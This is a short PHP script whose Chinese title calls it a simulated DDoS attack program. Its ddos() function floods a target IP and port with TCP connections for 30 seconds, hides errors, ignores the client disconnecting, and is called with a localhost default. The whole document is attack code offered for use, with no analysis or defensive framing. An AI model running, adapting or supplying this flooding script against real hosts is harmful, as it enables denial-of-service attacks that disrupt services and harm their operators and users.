PHP写的仿DDOS攻击程序
function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
error_reporting(0);
ignore_user_abort(TRUE);
$exec_time = time() + $time ;
$byte = 0;
while(1) {
$byte++;
if(time() > $exec_time) {
break;
}
$fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
if($fp) {
fwrite($fp,$byte);
fclose($fp);
}
}
}
ddos();